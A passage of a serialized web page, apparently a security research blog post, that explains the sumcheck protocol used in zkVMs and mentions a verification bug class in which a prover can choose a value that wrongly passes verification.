",{"type":23,"tag":38,"props":107112,"children":107114},{"className":107113},[2658,2659],[107115],{"type":23,"tag":141,"props":107116,"children":107118},{"className":107117},[2664],[107119],{"type":23,"tag":141,"props":107120,"children":107122},{"className":107121,"ariaHidden":2670},[2669],[107123],{"type":23,"tag":141,"props":107124,"children":107126},{"className":107125},[2675],[107127,107131],{"type":23,"tag":141,"props":107128,"children":107130},{"className":107129,"style":20255},[2680],[],{"type":23,"tag":141,"props":107132,"children":107134},{"className":107133,"style":106730},[2686,20260],[107135],{"type":29,"value":107054},{"type":29,"value":107137},", which may allow it to choose ",{"type":23,"tag":38,"props":107139,"children":107141},{"className":107140},[2658,2659],[107142],{"type":23,"tag":141,"props":107143,"children":107145},{"className":107144},[2664],[107146],{"type":23,"tag":141,"props":107147,"children":107149},{"className":107148,"ariaHidden":2670},[2669],[107150],{"type":23,"tag":141,"props":107151,"children":107153},{"className":107152},[2675],[107154,107158],{"type":23,"tag":141,"props":107155,"children":107157},{"className":107156,"style":20255},[2680],[],{"type":23,"tag":141,"props":107159,"children":107161},{"className":107160,"style":106730},[2686,20260],[107162],{"type":29,"value":107054},{"type":29,"value":107164}," exactly so that the verification passes, even though it should not.",{"type":23,"tag":32,"props":107166,"children":107167},{},[107168],{"type":29,"value":107169},"This is the bug class we found in all six systems.",{"type":23,"tag":8287,"props":107171,"children":107173},{"id":107172},"the-sumcheck-protocol",[107174],{"type":29,"value":107175},"The Sumcheck Protocol",{"type":23,"tag":32,"props":107177,"children":107178},{},[107179,107181,107267],{"type":29,"value":107180},"The sumcheck protocol proves that a polynomial sums to a claimed value over the Boolean hypercube (all inputs in ",{"type":23,"tag":38,"props":107182,"children":107184},{"className":107183},[2658,2659],[107185],{"type":23,"tag":141,"props":107186,"children":107188},{"className":107187},[2664],[107189],{"type":23,"tag":141,"props":107190,"children":107192},{"className":107191,"ariaHidden":2670},[2669],[107193],{"type":23,"tag":141,"props":107194,"children":107196},{"className":107195},[2675],[107197,107201,107206,107211,107216,107220,107225],{"type":23,"tag":141,"props":107198,"children":107200},{"className":107199,"style":2787},[2680],[],{"type":23,"tag":141,"props":107202,"children":107204},{"className":107203},[20389],[107205],{"type":29,"value":75103},{"type":23,"tag":141,"props":107207,"children":107209},{"className":107208},[2686],[107210],{"type":29,"value":2698},{"type":23,"tag":141,"props":107212,"children":107214},{"className":107213},[2798],[107215],{"type":29,"value":512},{"type":23,"tag":141,"props":107217,"children":107219},{"className":107218,"style":2804},[2766],[],{"type":23,"tag":141,"props":107221,"children":107223},{"className":107222},[2686],[107224],{"type":29,"value":687},{"type":23,"tag":141,"props":107226,"children":107228},{"className":107227},[20411],[107229,107234],{"type":23,"tag":141,"props":107230,"children":107232},{"className":107231},[20411],[107233],{"type":29,"value":32610},{"type":23,"tag":141,"props":107235,"children":107237},{"className":107236},[2702],[107238],{"type":23,"tag":141,"props":107239,"children":107241},{"className":107240},[2707],[107242],{"type":23,"tag":141,"props":107243,"children":107245},{"className":107244},[2712],[107246],{"type":23,"tag":141,"props":107247,"children":107250},{"className":107248,"style":107249},[2717],"height:0.6644em;",[107251],{"type":23,"tag":141,"props":107252,"children":107253},{"style":2721},[107254,107258],{"type":23,"tag":141,"props":107255,"children":107257},{"className":107256,"style":2727},[2726],[],{"type":23,"tag":141,"props":107259,"children":107261},{"className":107260},[2732,2733,2734,2735],[107262],{"type":23,"tag":141,"props":107263,"children":107265},{"className":107264},[2686,20260,2735],[107266],{"type":29,"value":54883},{"type":29,"value":107268},"), i.e the claim:",{"type":23,"tag":32,"props":107270,"children":107271},{},[107272],{"type":23,"tag":38,"props":107273,"children":107275},{"className":107274},[2658,2659],[107276],{"type":23,"tag":141,"props":107277,"children":107279},{"className":107278},[2664],[107280],{"type":23,"tag":141,"props":107281,"children":107283},{"className":107282,"ariaHidden":2670},[2669],[107284,107310],{"type":23,"tag":141,"props":107285,"children":107287},{"className":107286},[2675],[107288,107292,107297,107301,107306],{"type":23,"tag":141,"props":107289,"children":107291},{"className":107290,"style":20255},[2680],[],{"type":23,"tag":141,"props":107293,"children":107295},{"className":107294,"style":91766},[2686,20260],[107296],{"type":29,"value":91769},{"type":23,"tag":141,"props":107298,"children":107300},{"className":107299,"style":2863},[2766],[],{"type":23,"tag":141,"props":107302,"children":107304},{"className":107303},[2868],[107305],{"type":29,"value":1377},{"type":23,"tag":141,"props":107307,"children":107309},{"className":107308,"style":2863},[2766],[],{"type":23,"tag":141,"props":107311,"children":107313},{"className":107312},[2675],[107314,107318,107468,107472,107615,107619,107626,107630,107774,107778,107784,107789,107846,107851,107855,107912,107917,107921,107927,107931,107936,107940,107998],{"type":23,"tag":141,"props":107315,"children":107317},{"className":107316,"style":20291},[2680],[],{"type":23,"tag":141,"props":107319,"children":107321},{"className":107320},[20296],[107322,107328],{"type":23,"tag":141,"props":107323,"children":107325},{"className":107324,"style":20303},[20296,20301,20302],[107326],{"type":29,"value":107327},"∑",{"type":23,"tag":141,"props":107329,"children":107331},{"className":107330},[2702],[107332],{"type":23,"tag":141,"props":107333,"children":107335},{"className":107334},[2707,20314],[107336,107457],{"type":23,"tag":141,"props":107337,"children":107339},{"className":107338},[2712],[107340,107452],{"type":23,"tag":141,"props":107341,"children":107343},{"className":107342,"style":20323},[2717],[107344],{"type":23,"tag":141,"props":107345,"children":107346},{"style":20327},[107347,107351],{"type":23,"tag":141,"props":107348,"children":107350},{"className":107349,"style":2727},[2726],[],{"type":23,"tag":141,"props":107352,"children":107354},{"className":107353},[2732,2733,2734,2735],[107355],{"type":23,"tag":141,"props":107356,"children":107358},{"className":107357},[2686,2735],[107359,107422,107427,107432,107437,107442,107447],{"type":23,"tag":141,"props":107360,"children":107362},{"className":107361},[2686,2735],[107363,107368],{"type":23,"tag":141,"props":107364,"children":107366},{"className":107365},[2686,20260,2735],[107367],{"type":29,"value":17947},{"type":23,"tag":141,"props":107369,"children":107371},{"className":107370},[2702],[107372],{"type":23,"tag":141,"props":107373,"children":107375},{"className":107374},[2707,20314],[107376,107410],{"type":23,"tag":141,"props":107377,"children":107379},{"className":107378},[2712],[107380,107405],{"type":23,"tag":141,"props":107381,"children":107384},{"className":107382,"style":107383},[2717],"height:0.3173em;",[107385],{"type":23,"tag":141,"props":107386,"children":107388},{"style":107387},"top:-2.357em;margin-left:0em;margin-right:0.0714em;",[107389,107394],{"type":23,"tag":141,"props":107390,"children":107393},{"className":107391,"style":107392},[2726],"height:2.5em;",[],{"type":23,"tag":141,"props":107395,"children":107399},{"className":107396},[2732,107397,107398,2735],"reset-size3","size1",[107400],{"type":23,"tag":141,"props":107401,"children":107403},{"className":107402},[2686,2735],[107404],{"type":29,"value":687},{"type":23,"tag":141,"props":107406,"children":107408},{"className":107407},[20417],[107409],{"type":29,"value":20420},{"type":23,"tag":141,"props":107411,"children":107413},{"className":107412},[2712],[107414],{"type":23,"tag":141,"props":107415,"children":107418},{"className":107416,"style":107417},[2717],"height:0.143em;",[107419],{"type":23,"tag":141,"props":107420,"children":107421},{},[],{"type":23,"tag":141,"props":107423,"children":107425},{"className":107424},[2868,2735],[107426],{"type":29,"value":20367},{"type":23,"tag":141,"props":107428,"children":107430},{"className":107429},[20389,2735],[107431],{"type":29,"value":75103},{"type":23,"tag":141,"props":107433,"children":107435},{"className":107434},[2686,2735],[107436],{"type":29,"value":2698},{"type":23,"tag":141,"props":107438,"children":107440},{"className":107439},[2798,2735],[107441],{"type":29,"value":512},{"type":23,"tag":141,"props":107443,"children":107445},{"className":107444},[2686,2735],[107446],{"type":29,"value":687},{"type":23,"tag":141,"props":107448,"children":107450},{"className":107449},[20411,2735],[107451],{"type":29,"value":32610},{"type":23,"tag":141,"props":107453,"children":107455},{"className":107454},[20417],[107456],{"type":29,"value":20420},{"type":23,"tag":141,"props":107458,"children":107460},{"className":107459},[2712],[107461],{"type":23,"tag":141,"props":107462,"children":107464},{"className":107463,"style":20428},[2717],[107465],{"type":23,"tag":141,"props":107466,"children":107467},{},[],{"type":23,"tag":141,"props":107469,"children":107471},{"className":107470,"style":2804},[2766],[],{"type":23,"tag":141,"props":107473,"children":107475},{"className":107474},[20296],[107476,107481],{"type":23,"tag":141,"props":107477,"children":107479},{"className":107478,"style":20303},[20296,20301,20302],[107480],{"type":29,"value":107327},{"type":23,"tag":141,"props":107482,"children":107484},{"className":107483},[2702],[107485],{"type":23,"tag":141,"props":107486,"children":107488},{"className":107487},[2707,20314],[107489,107604],{"type":23,"tag":141,"props":107490,"children":107492},{"className":107491},[2712],[107493,107599],{"type":23,"tag":141,"props":107494,"children":107496},{"className":107495,"style":20323},[2717],[107497],{"type":23,"tag":141,"props":107498,"children":107499},{"style":20327},[107500,107504],{"type":23,"tag":141,"props":107501,"children":107503},{"className":107502,"style":2727},[2726],[],{"type":23,"tag":141,"props":107505,"children":107507},{"className":107506},[2732,2733,2734,2735],[107508],{"type":23,"tag":141,"props":107509,"children":107511},{"className":107510},[2686,2735],[107512,107569,107574,107579,107584,107589,107594],{"type":23,"tag":141,"props":107513,"children":107515},{"className":107514},[2686,2735],[107516,107521],{"type":23,"tag":141,"props":107517,"children":107519},{"className":107518},[2686,20260,2735],[107520],{"type":29,"value":17947},{"type":23,"tag":141,"props":107522,"children":107524},{"className":107523},[2702],[107525],{"type":23,"tag":141,"props":107526,"children":107528},{"className":107527},[2707,20314],[107529,107558],{"type":23,"tag":141,"props":107530,"children":107532},{"className":107531},[2712],[107533,107553],{"type":23,"tag":141,"props":107534,"children":107536},{"className":107535,"style":107383},[2717],[107537],{"type":23,"tag":141,"props":107538,"children":107539},{"style":107387},[107540,107544],{"type":23,"tag":141,"props":107541,"children":107543},{"className":107542,"style":107392},[2726],[],{"type":23,"tag":141,"props":107545,"children":107547},{"className":107546},[2732,107397,107398,2735],[107548],{"type":23,"tag":141,"props":107549,"children":107551},{"className":107550},[2686,2735],[107552],{"type":29,"value":1049},{"type":23,"tag":141,"props":107554,"children":107556},{"className":107555},[20417],[107557],{"type":29,"value":20420},{"type":23,"tag":141,"props":107559,"children":107561},{"className":107560},[2712],[107562],{"type":23,"tag":141,"props":107563,"children":107565},{"className":107564,"style":107417},[2717],[107566],{"type":23,"tag":141,"props":107567,"children":107568},{},[],{"type":23,"tag":141,"props":107570,"children":107572},{"className":107571},[2868,2735],[107573],{"type":29,"value":20367},{"type":23,"tag":141,"props":107575,"children":107577},{"className":107576},[20389,2735],[107578],{"type":29,"value":75103},{"type":23,"tag":141,"props":107580,"children":107582},{"className":107581},[2686,2735],[107583],{"type":29,"value":2698},{"type":23,"tag":141,"props":107585,"children":107587},{"className":107586},[2798,2735],[107588],{"type":29,"value":512},{"type":23,"tag":141,"props":107590,"children":107592},{"className":107591},[2686,2735],[107593],{"type":29,"value":687},{"type":23,"tag":141,"props":107595,"children":107597},{"className":107596},[20411,2735],[107598],{"type":29,"value":32610},{"type":23,"tag":141,"props":107600,"children":107602},{"className":107601},[20417],[107603],{"type":29,"value":20420},{"type":23,"tag":141,"props":107605,"children":107607},{"className":107606},[2712],[107608],{"type":23,"tag":141,"props":107609,"children":107611},{"className":107610,"style":20428},[2717],[107612],{"type":23,"tag":141,"props":107613,"children":107614},{},[],{"type":23,"tag":141,"props":107616,"children":107618},{"className":107617,"style":2804},[2766],[],{"type":23,"tag":141,"props":107620,"children":107623},{"className":107621},[107622],"minner",[107624],{"type":29,"value":107625},"⋯",{"type":23,"tag":141,"props":107627,"children":107629},{"className":107628,"style":2804},[2766],[],{"type":23,"tag":141,"props":107631,"children":107633},{"className":107632},[20296],[107634,107639],{"type":23,"tag":141,"props":107635,"children":107637},{"className":107636,"style":20303},[20296,20301,20302],[107638],{"type":29,"value":107327},{"type":23,"tag":141,"props":107640,"children":107642},{"className":107641},[2702],[107643],{"type":23,"tag":141,"props":107644,"children":107646},{"className":107645},[2707,20314],[107647,107763],{"type":23,"tag":141,"props":107648,"children":107650},{"className":107649},[2712],[107651,107758],{"type":23,"tag":141,"props":107652,"children":107654},{"className":107653,"style":20323},[2717],[107655],{"type":23,"tag":141,"props":107656,"children":107657},{"style":20327},[107658,107662],{"type":23,"tag":141,"props":107659,"children":107661},{"className":107660,"style":2727},[2726],[],{"type":23,"tag":141,"props":107663,"children":107665},{"className":107664},[2732,2733,2734,2735],[107666],{"type":23,"tag":141,"props":107667,"children":107669},{"className":107668},[2686,2735],[107670,107728,107733,107738,107743,107748,107753],{"type":23,"tag":141,"props":107671,"children":107673},{"className":107672},[2686,2735],[107674,107679],{"type":23,"tag":141,"props":107675,"children":107677},{"className":107676},[2686,20260,2735],[107678],{"type":29,"value":17947},{"type":23,"tag":141,"props":107680,"children":107682},{"className":107681},[2702],[107683],{"type":23,"tag":141,"props":107684,"children":107686},{"className":107685},[2707,20314],[107687,107717],{"type":23,"tag":141,"props":107688,"children":107690},{"className":107689},[2712],[107691,107712],{"type":23,"tag":141,"props":107692,"children":107695},{"className":107693,"style":107694},[2717],"height:0.1645em;",[107696],{"type":23,"tag":141,"props":107697,"children":107698},{"style":107387},[107699,107703],{"type":23,"tag":141,"props":107700,"children":107702},{"className":107701,"style":107392},[2726],[],{"type":23,"tag":141,"props":107704,"children":107706},{"className":107705},[2732,107397,107398,2735],[107707],{"type":23,"tag":141,"props":107708,"children":107710},{"className":107709},[2686,20260,2735],[107711],{"type":29,"value":54883},{"type":23,"tag":141,"props":107713,"children":107715},{"className":107714},[20417],[107716],{"type":29,"value":20420},{"type":23,"tag":141,"props":107718,"children":107720},{"className":107719},[2712],[107721],{"type":23,"tag":141,"props":107722,"children":107724},{"className":107723,"style":107417},[2717],[107725],{"type":23,"tag":141,"props":107726,"children":107727},{},[],{"type":23,"tag":141,"props":107729,"children":107731},{"className":107730},[2868,2735],[107732],{"type":29,"value":20367},{"type":23,"tag":141,"props":107734,"children":107736},{"className":107735},[20389,2735],[107737],{"type":29,"value":75103},{"type":23,"tag":141,"props":107739,"children":107741},{"className":107740},[2686,2735],[107742],{"type":29,"value":2698},{"type":23,"tag":141,"props":107744,"children":107746},{"className":107745},[2798,2735],[107747],{"type":29,"value":512},{"type":23,"tag":141,"props":107749,"children":107751},{"className":107750},[2686,2735],[107752],{"type":29,"value":687},{"type":23,"tag":141,"props":107754,"children":107756},{"className":107755},[20411,2735],[107757],{"type":29,"value":32610},{"type":23,"tag":141,"props":107759,"children":107761},{"className":107760},[20417],[107762],{"type":29,"value":20420},{"type":23,"tag":141,"props":107764,"children":107766},{"className":107765},[2712],[107767],{"type":23,"tag":141,"props":107768,"children":107770},{"className":107769,"style":20428},[2717],[107771],{"type":23,"tag":141,"props":107772,"children":107773},{},[],{"type":23,"tag":141,"props":107775,"children":107777},{"className":107776,"style":2804},[2766],[],{"type":23,"tag":141,"props":107779,"children":107781},{"className":107780,"style":92018},[2686,20260],[107782],{"type":29,"value":107783},"g",{"type":23,"tag":141,"props":107785,"children":107787},{"className":107786},[20389],[107788],{"type":29,"value":192},{"type":23,"tag":141,"props":107790,"children":107792},{"className":107791},[2686],[107793,107798],{"type":23,"tag":141,"props":107794,"children":107796},{"className":107795},[2686,20260],[107797],{"type":29,"value":17947},{"type":23,"tag":141,"props":107799,"children":107801},{"className":107800},[2702],[107802],{"type":23,"tag":141,"props":107803,"children":107805},{"className":107804},[2707,20314],[107806,107835],{"type":23,"tag":141,"props":107807,"children":107809},{"className":107808},[2712],[107810,107830],{"type":23,"tag":141,"props":107811,"children":107813},{"className":107812,"style":91584},[2717],[107814],{"type":23,"tag":141,"props":107815,"children":107816},{"style":91588},[107817,107821],{"type":23,"tag":141,"props":107818,"children":107820},{"className":107819,"style":2727},[2726],[],{"type":23,"tag":141,"props":107822,"children":107824},{"className":107823},[2732,2733,2734,2735],[107825],{"type":23,"tag":141,"props":107826,"children":107828},{"className":107827},[2686,2735],[107829],{"type":29,"value":687},{"type":23,"tag":141,"props":107831,"children":107833},{"className":107832},[20417],[107834],{"type":29,"value":20420},{"type":23,"tag":141,"props":107836,"children":107838},{"className":107837},[2712],[107839],{"type":23,"tag":141,"props":107840,"children":107842},{"className":107841,"style":91615},[2717],[107843],{"type":23,"tag":141,"props":107844,"children":107845},{},[],{"type":23,"tag":141,"props":107847,"children":107849},{"className":107848},[2798],[107850],{"type":29,"value":512},{"type":23,"tag":141,"props":107852,"children":107854},{"className":107853,"style":2804},[2766],[],{"type":23,"tag":141,"props":107856,"children":107858},{"className":107857},[2686],[107859,107864],{"type":23,"tag":141,"props":107860,"children":107862},{"className":107861},[2686,20260],[107863],{"type":29,"value":17947},{"type":23,"tag":141,"props":107865,"children":107867},{"className":107866},[2702],[107868],{"type":23,"tag":141,"props":107869,"children":107871},{"className":107870},[2707,20314],[107872,107901],{"type":23,"tag":141,"props":107873,"children":107875},{"className":107874},[2712],[107876,107896],{"type":23,"tag":141,"props":107877,"children":107879},{"className":107878,"style":91584},[2717],[107880],{"type":23,"tag":141,"props":107881,"children":107882},{"style":91588},[107883,107887],{"type":23,"tag":141,"props":107884,"children":107886},{"className":107885,"style":2727},[2726],[],{"type":23,"tag":141,"props":107888,"children":107890},{"className":107889},[2732,2733,2734,2735],[107891],{"type":23,"tag":141,"props":107892,"children":107894},{"className":107893},[2686,2735],[107895],{"type":29,"value":1049},{"type":23,"tag":141,"props":107897,"children":107899},{"className":107898},[20417],[107900],{"type":29,"value":20420},{"type":23,"tag":141,"props":107902,"children":107904},{"className":107903},[2712],[107905],{"type":23,"tag":141,"props":107906,"children":107908},{"className":107907,"style":91615},[2717],[107909],{"type":23,"tag":141,"props":107910,"children":107911},{},[],{"type":23,"tag":141,"props":107913,"children":107915},{"className":107914},[2798],[107916],{"type":29,"value":512},{"type":23,"tag":141,"props":107918,"children":107920},{"className":107919,"style":2804},[2766],[],{"type":23,"tag":141,"props":107922,"children":107924},{"className":107923},[107622],[107925],{"type":29,"value":107926},"…",{"type":23,"tag":141,"props":107928,"children":107930},{"className":107929,"style":2804},[2766],[],{"type":23,"tag":141,"props":107932,"children":107934},{"className":107933},[2798],[107935],{"type":29,"value":512},{"type":23,"tag":141,"props":107937,"children":107939},{"className":107938,"style":2804},[2766],[],{"type":23,"tag":141,"props":107941,"children":107943},{"className":107942},[2686],[107944,107949],{"type":23,"tag":141,"props":107945,"children":107947},{"className":107946},[2686,20260],[107948],{"type":29,"value":17947},{"type":23,"tag":141,"props":107950,"children":107952},{"className":107951},[2702],[107953],{"type":23,"tag":141,"props":107954,"children":107956},{"className":107955},[2707,20314],[107957,107987],{"type":23,"tag":141,"props":107958,"children":107960},{"className":107959},[2712],[107961,107982],{"type":23,"tag":141,"props":107962,"children":107965},{"className":107963,"style":107964},[2717],"height:0.1514em;",[107966],{"type":23,"tag":141,"props":107967,"children":107968},{"style":91588},[107969,107973],{"type":23,"tag":141,"props":107970,"children":107972},{"className":107971,"style":2727},[2726],[],{"type":23,"tag":141,"props":107974,"children":107976},{"className":107975},[2732,2733,2734,2735],[107977],{"type":23,"tag":141,"props":107978,"children":107980},{"className":107979},[2686,20260,2735],[107981],{"type":29,"value":54883},{"type":23,"tag":141,"props":107983,"children":107985},{"className":107984},[20417],[107986],{"type":29,"value":20420},{"type":23,"tag":141,"props":107988,"children":107990},{"className":107989},[2712],[107991],{"type":23,"tag":141,"props":107992,"children":107994},{"className":107993,"style":91615},[2717],[107995],{"type":23,"tag":141,"props":107996,"children":107997},{},[],{"type":23,"tag":141,"props":107999,"children":108001},{"className":108000},[20411],[108002],{"type":29,"value":1788},{"type":23,"tag":32,"props":108004,"children":108005},{},[108006,108008,108069],{"type":29,"value":108007},"The naive approach would be for the verifier to compute all ",{"type":23,"tag":38,"props":108009,"children":108011},{"className":108010},[2658,2659],[108012],{"type":23,"tag":141,"props":108013,"children":108015},{"className":108014},[2664],[108016],{"type":23,"tag":141,"props":108017,"children":108019},{"className":108018,"ariaHidden":2670},[2669],[108020],{"type":23,"tag":141,"props":108021,"children":108023},{"className":108022},[2675],[108024,108028],{"type":23,"tag":141,"props":108025,"children":108027},{"className":108026,"style":107249},[2680],[],{"type":23,"tag":141,"props":108029,"children":108031},{"className":108030},[2686],[108032,108037],{"type":23,"tag":141,"props":108033,"children":108035},{"className":108034},[2686],[108036],{"type":29,"value":1049},{"type":23,"tag":141,"props":108038,"children":108040},{"className":108039},[2702],[108041],{"type":23,"tag":141,"props":108042,"children":108044},{"className":108043},[2707],[108045],{"type":23,"tag":141,"props":108046,"children":108048},{"className":108047},[2712],[108049],{"type":23,"tag":141,"props":108050,"children":108052},{"className":108051,"style":107249},[2717],[108053],{"type":23,"tag":141,"props":108054,"children":108055},{"style":2721},[108056,108060],{"type":23,"tag":141,"props":108057,"children":108059},{"className":108058,"style":2727},[2726],[],{"type":23,"tag":141,"props":108061,"children":108063},{"className":108062},[2732,2733,2734,2735],[108064],{"type":23,"tag":141,"props":108065,"children":108067},{"className":108066},[2686,20260,2735],[108068],{"type":29,"value":54883},{"type":29,"value":108070}," evaluations. This is exponentially expensive.",{"type":23,"tag":32,"props":108072,"children":108073},{},[108074,108076,108081],{"type":29,"value":108075},"The sumcheck protocol is a clever interactive protocol that reduces the exponential number of polynomial evaluations to checking ",{"type":23,"tag":3998,"props":108077,"children":108078},{},[108079],{"type":29,"value":108080},"only one",{"type":29,"value":322},{"type":23,"tag":32,"props":108083,"children":108084},{},[108085],{"type":23,"tag":2591,"props":108086,"children":108089},{"alt":108087,"src":108088},"sumcheck_v2","/posts/zkvms-unfaithful-claims/sumcheck_v2.svg",[],{"type":23,"tag":32,"props":108091,"children":108092},{},[108093,108095,108187,108189,108374,108376,108401,108403,108481,108483,108562],{"type":29,"value":108094},"In each round, the prover must send a polynomial ",{"type":23,"tag":38,"props":108096,"children":108098},{"className":108097},[2658,2659],[108099],{"type":23,"tag":141,"props":108100,"children":108102},{"className":108101},[2664],[108103],{"type":23,"tag":141,"props":108104,"children":108106},{"className":108105,"ariaHidden":2670},[2669],[108107],{"type":23,"tag":141,"props":108108,"children":108110},{"className":108109},[2675],[108111,108115,108172,108177,108182],{"type":23,"tag":141,"props":108112,"children":108114},{"className":108113,"style":2787},[2680],[],{"type":23,"tag":141,"props":108116,"children":108118},{"className":108117},[2686],[108119,108124],{"type":23,"tag":141,"props":108120,"children":108122},{"className":108121,"style":92018},[2686,20260],[108123],{"type":29,"value":107783},{"type":23,"tag":141,"props":108125,"children":108127},{"className":108126},[2702],[108128],{"type":23,"tag":141,"props":108129,"children":108131},{"className":108130},[2707,20314],[108132,108161],{"type":23,"tag":141,"props":108133,"children":108135},{"className":108134},[2712],[108136,108156],{"type":23,"tag":141,"props":108137,"children":108139},{"className":108138,"style":92061},[2717],[108140],{"type":23,"tag":141,"props":108141,"children":108142},{"style":92065},[108143,108147],{"type":23,"tag":141,"props":108144,"children":108146},{"className":108145,"style":2727},[2726],[],{"type":23,"tag":141,"props":108148,"children":108150},{"className":108149},[2732,2733,2734,2735],[108151],{"type":23,"tag":141,"props":108152,"children":108154},{"className":108153},[2686,20260,2735],[108155],{"type":29,"value":2404},{"type":23,"tag":141,"props":108157,"children":108159},{"className":108158},[20417],[108160],{"type":29,"value":20420},{"type":23,"tag":141,"props":108162,"children":108164},{"className":108163},[2712],[108165],{"type":23,"tag":141,"props":108166,"children":108168},{"className":108167,"style":91615},[2717],[108169],{"type":23,"tag":141,"props":108170,"children":108171},{},[],{"type":23,"tag":141,"props":108173,"children":108175},{"className":108174},[20389],[108176],{"type":29,"value":192},{"type":23,"tag":141,"props":108178,"children":108180},{"className":108179,"style":93552},[2686,20260],[108181],{"type":29,"value":4807},{"type":23,"tag":141,"props":108183,"children":108185},{"className":108184},[20411],[108186],{"type":29,"value":1788},{"type":29,"value":108188}," such that ",{"type":23,"tag":38,"props":108190,"children":108192},{"className":108191},[2658,2659],[108193],{"type":23,"tag":141,"props":108194,"children":108196},{"className":108195},[2664],[108197],{"type":23,"tag":141,"props":108198,"children":108200},{"className":108199,"ariaHidden":2670},[2669],[108201,108294],{"type":23,"tag":141,"props":108202,"children":108204},{"className":108203},[2675],[108205,108209,108266,108271,108276,108281,108285,108290],{"type":23,"tag":141,"props":108206,"children":108208},{"className":108207,"style":2787},[2680],[],{"type":23,"tag":141,"props":108210,"children":108212},{"className":108211},[2686],[108213,108218],{"type":23,"tag":141,"props":108214,"children":108216},{"className":108215,"style":92018},[2686,20260],[108217],{"type":29,"value":107783},{"type":23,"tag":141,"props":108219,"children":108221},{"className":108220},[2702],[108222],{"type":23,"tag":141,"props":108223,"children":108225},{"className":108224},[2707,20314],[108226,108255],{"type":23,"tag":141,"props":108227,"children":108229},{"className":108228},[2712],[108230,108250],{"type":23,"tag":141,"props":108231,"children":108233},{"className":108232,"style":92061},[2717],[108234],{"type":23,"tag":141,"props":108235,"children":108236},{"style":92065},[108237,108241],{"type":23,"tag":141,"props":108238,"children":108240},{"className":108239,"style":2727},[2726],[],{"type":23,"tag":141,"props":108242,"children":108244},{"className":108243},[2732,2733,2734,2735],[108245],{"type":23,"tag":141,"props":108246,"children":108248},{"className":108247},[2686,20260,2735],[108249],{"type":29,"value":2404},{"type":23,"tag":141,"props":108251,"children":108253},{"className":108252},[20417],[108254],{"type":29,"value":20420},{"type":23,"tag":141,"props":108256,"children":108258},{"className":108257},[2712],[108259],{"type":23,"tag":141,"props":108260,"children":108262},{"className":108261,"style":91615},[2717],[108263],{"type":23,"tag":141,"props":108264,"children":108265},{},[],{"type":23,"tag":141,"props":108267,"children":108269},{"className":108268},[20389],[108270],{"type":29,"value":192},{"type":23,"tag":141,"props":108272,"children":108274},{"className":108273},[2686],[108275],{"type":29,"value":2698},{"type":23,"tag":141,"props":108277,"children":108279},{"className":108278},[20411],[108280],{"type":29,"value":1788},{"type":23,"tag":141,"props":108282,"children":108284},{"className":108283,"style":2767},[2766],[],{"type":23,"tag":141,"props":108286,"children":108288},{"className":108287},[2772],[108289],{"type":29,"value":3058},{"type":23,"tag":141,"props":108291,"children":108293},{"className":108292,"style":2767},[2766],[],{"type":23,"tag":141,"props":108295,"children":108297},{"className":108296},[2675],[108298,108302,108359,108364,108369],{"type":23,"tag":141,"props":108299,"children":108301},{"className":108300,"style":2787},[2680],[],{"type":23,"tag":141,"props":108303,"children":108305},{"className":108304},[2686],[108306,108311],{"type":23,"tag":141,"props":108307,"children":108309},{"className":108308,"style":92018},[2686,20260],[108310],{"type":29,"value":107783},{"type":23,"tag":141,"props":108312,"children":108314},{"className":108313},[2702],[108315],{"type":23,"tag":141,"props":108316,"children":108318},{"className":108317},[2707,20314],[108319,108348],{"type":23,"tag":141,"props":108320,"children":108322},{"className":108321},[2712],[108323,108343],{"type":23,"tag":141,"props":108324,"children":108326},{"className":108325,"style":92061},[2717],[108327],{"type":23,"tag":141,"props":108328,"children":108329},{"style":92065},[108330,108334],{"type":23,"tag":141,"props":108331,"children":108333},{"className":108332,"style":2727},[2726],[],{"type":23,"tag":141,"props":108335,"children":108337},{"className":108336},[2732,2733,2734,2735],[108338],{"type":23,"tag":141,"props":108339,"children":108341},{"className":108340},[2686,20260,2735],[108342],{"type":29,"value":2404},{"type":23,"tag":141,"props":108344,"children":108346},{"className":108345},[20417],[108347],{"type":29,"value":20420},{"type":23,"tag":141,"props":108349,"children":108351},{"className":108350},[2712],[108352],{"type":23,"tag":141,"props":108353,"children":108355},{"className":108354,"style":91615},[2717],[108356],{"type":23,"tag":141,"props":108357,"children":108358},{},[],{"type":23,"tag":141,"props":108360,"children":108362},{"className":108361},[20389],[108363],{"type":29,"value":192},{"type":23,"tag":141,"props":108365,"children":108367},{"className":108366},[2686],[108368],{"type":29,"value":687},{"type":23,"tag":141,"props":108370,"children":108372},{"className":108371},[20411],[108373],{"type":29,"value":1788},{"type":29,"value":108375}," equals the previous claim. If the prover is lying about the original sum ",{"type":23,"tag":38,"props":108377,"children":108379},{"className":108378},[2658,2659],[108380],{"type":23,"tag":141,"props":108381,"children":108383},{"className":108382},[2664],[108384],{"type":23,"tag":141,"props":108385,"children":108387},{"className":108386,"ariaHidden":2670},[2669],[108388],{"type":23,"tag":141,"props":108389,"children":108391},{"className":108390},[2675],[108392,108396],{"type":23,"tag":141,"props":108393,"children":108395},{"className":108394,"style":20255},[2680],[],{"type":23,"tag":141,"props":108397,"children":108399},{"className":108398,"style":91766},[2686,20260],[108400],{"type":29,"value":91769},{"type":29,"value":108402},", then they must lie about ",{"type":23,"tag":38,"props":108404,"children":108406},{"className":108405},[2658,2659],[108407],{"type":23,"tag":141,"props":108408,"children":108410},{"className":108409},[2664],[108411],{"type":23,"tag":141,"props":108412,"children":108414},{"className":108413,"ariaHidden":2670},[2669],[108415],{"type":23,"tag":141,"props":108416,"children":108418},{"className":108417},[2675],[108419,108424],{"type":23,"tag":141,"props":108420,"children":108423},{"className":108421,"style":108422},[2680],"height:0.625em;vertical-align:-0.1944em;",[],{"type":23,"tag":141,"props":108425,"children":108427},{"className":108426},[2686],[108428,108433],{"type":23,"tag":141,"props":108429,"children":108431},{"className":108430,"style":92018},[2686,20260],[108432],{"type":29,"value":107783},{"type":23,"tag":141,"props":108434,"children":108436},{"className":108435},[2702],[108437],{"type":23,"tag":141,"props":108438,"children":108440},{"className":108439},[2707,20314],[108441,108470],{"type":23,"tag":141,"props":108442,"children":108444},{"className":108443},[2712],[108445,108465],{"type":23,"tag":141,"props":108446,"children":108448},{"className":108447,"style":92061},[2717],[108449],{"type":23,"tag":141,"props":108450,"children":108451},{"style":92065},[108452,108456],{"type":23,"tag":141,"props":108453,"children":108455},{"className":108454,"style":2727},[2726],[],{"type":23,"tag":141,"props":108457,"children":108459},{"className":108458},[2732,2733,2734,2735],[108460],{"type":23,"tag":141,"props":108461,"children":108463},{"className":108462},[2686,20260,2735],[108464],{"type":29,"value":2404},{"type":23,"tag":141,"props":108466,"children":108468},{"className":108467},[20